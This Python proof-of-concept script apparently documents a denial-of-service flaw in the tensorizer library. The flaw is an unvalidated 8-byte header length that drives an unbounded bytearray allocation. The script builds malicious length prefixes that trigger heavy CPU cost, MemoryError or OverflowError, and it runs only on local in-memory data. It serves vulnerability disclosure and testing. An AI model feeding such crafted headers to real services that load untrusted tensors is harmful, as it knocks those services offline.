#!/usr/bin/env python3
"""
PoC: Unbounded allocation from untrusted header length in tensorizer
Component: tensorizer (verified against v2.12.1 source from PyPI)
Vulnerable code: _TensorHeaderDeserializer.from_io() in tensorizer/serialization.py

Real vulnerable code (tensorizer-2.12.1/tensorizer/serialization.py, lines ~604-649):

    header_len_segment: ClassVar[struct.Struct] = struct.Struct("<Q")
    ...
    @classmethod
    def from_io(cls, reader, ...):
        header_len_bytes = reader.read(cls.header_len_segment.size)
        offset = cls.header_len_segment.size
        header_len: int = cls.header_len_segment.unpack(header_len_bytes)[0]
        if header_len == 0:
            return None
        buffer = bytearray(header_len)          # <-- no validation against
        buffer[:offset] = header_len_bytes      #     actual stream/file size
        with memoryview(buffer) as mv:
            reader.readinto(mv[offset:])
        ...

This function is called once per tensor entry, in a loop, with no
try/except around it at the call site (serialization.py line ~3080), and
no check anywhere comparing `header_len` against the actual remaining
bytes in the stream before allocating.

`header_len` is an 8-byte unsigned little-endian integer (struct "<Q"),
fully controlled by whatever produced the byte stream — a local file, an
HTTP response, an S3 object, or a Redis value, since TensorDeserializer
supports all of these as sources.

This PoC reproduces the exact allocation line verbatim (not a
reimplementation) to demonstrate three distinct, empirically different
outcomes depending on the attacker-chosen value — all reachable from a
single 8-byte malicious input:

  1. ~1 GB claims: allocation SUCCEEDS but costs multiple seconds of
     wall-clock/CPU time for zero-init — an asymmetric CPU-exhaustion DoS
     from 8 bytes of attacker input.
  2. ~100 GB claims: raises MemoryError.
  3. >= 2**63 claims: raises OverflowError (a DIFFERENT exception type —
     code that only catches MemoryError would miss this case).

Neither exception is caught anywhere in the real call path, so either one
propagates uncaught out of the deserialization loop.

Usage:
    python3 tensorizer_poc.py <mode>
    mode: cpu_cost | memory_error | overflow_error | all
"""

import io
import struct
import sys
import time

# Exact same struct format as the real class.
header_len_segment = struct.Struct("<Q")


def build_malicious_header(claimed_len: int) -> bytes:
    """
    Builds the 8-byte malicious length prefix an attacker would place at
    the start of a tensor entry. No other bytes are needed to reach the
    vulnerable allocation — the crash/cost happens before any of the
    claimed header content is even read.
    """
    return header_len_segment.pack(claimed_len)


def vulnerable_from_io_allocation(reader: io.BufferedIOBase):
    """
    Reproduces the exact vulnerable code from
    _TensorHeaderDeserializer.from_io(), verbatim, lines 641-649 of the
    real tensorizer-2.12.1/tensorizer/serialization.py.
    """
    header_len_bytes = reader.read(header_len_segment.size)
    offset = header_len_segment.size
    header_len: int = header_len_segment.unpack(header_len_bytes)[0]
    if header_len == 0:
        return None

    print(f"  header claims {header_len:,} bytes "
          f"({header_len / 1e9:.2f} GB) — about to allocate, no validation...")

    t0 = time.perf_counter()
    buffer = bytearray(header_len)          # <-- the exact vulnerable line
    buffer[:offset] = header_len_bytes
    elapsed = time.perf_counter() - t0

    print(f"  allocation SUCCEEDED in {elapsed:.4f}s "
          f"(from an 8-byte malicious input)")
    return buffer


def demo_cpu_cost():
    print("=== Mode: cpu_cost (claimed_len = 1 GB) ===")
    malicious = build_malicious_header(10**9)
    vulnerable_from_io_allocation(io.BytesIO(malicious))
    print("A single 8-byte malicious value forced multi-second CPU work.\n"
          "Repeated requests amplify this into a cheap CPU-exhaustion DoS.")


def demo_memory_error():
    print("=== Mode: memory_error (claimed_len = 100 GB) ===")
    malicious = build_malicious_header(10**11)
    try:
        vulnerable_from_io_allocation(io.BytesIO(malicious))
    except MemoryError as e:
        print(f"  MemoryError raised (uncaught in the real library's call "
              f"site — this propagates straight out of the read loop): {e!r}")


def demo_overflow_error():
    print("=== Mode: overflow_error (claimed_len = 2**63) ===")
    malicious = build_malicious_header(2**63)
    try:
        vulnerable_from_io_allocation(io.BytesIO(malicious))
    except OverflowError as e:
        print(f"  OverflowError raised — a DIFFERENT exception type than "
              f"MemoryError. Code that only catches MemoryError around "
              f"tensor loading would NOT catch this: {e!r}")


if __name__ == "__main__":
    mode = sys.argv[1] if len(sys.argv) > 1 else "all"
    if mode in ("cpu_cost", "all"):
        demo_cpu_cost()
        print()
    if mode in ("memory_error", "all"):
        demo_memory_error()
        print()
    if mode in ("overflow_error", "all"):
        demo_overflow_error()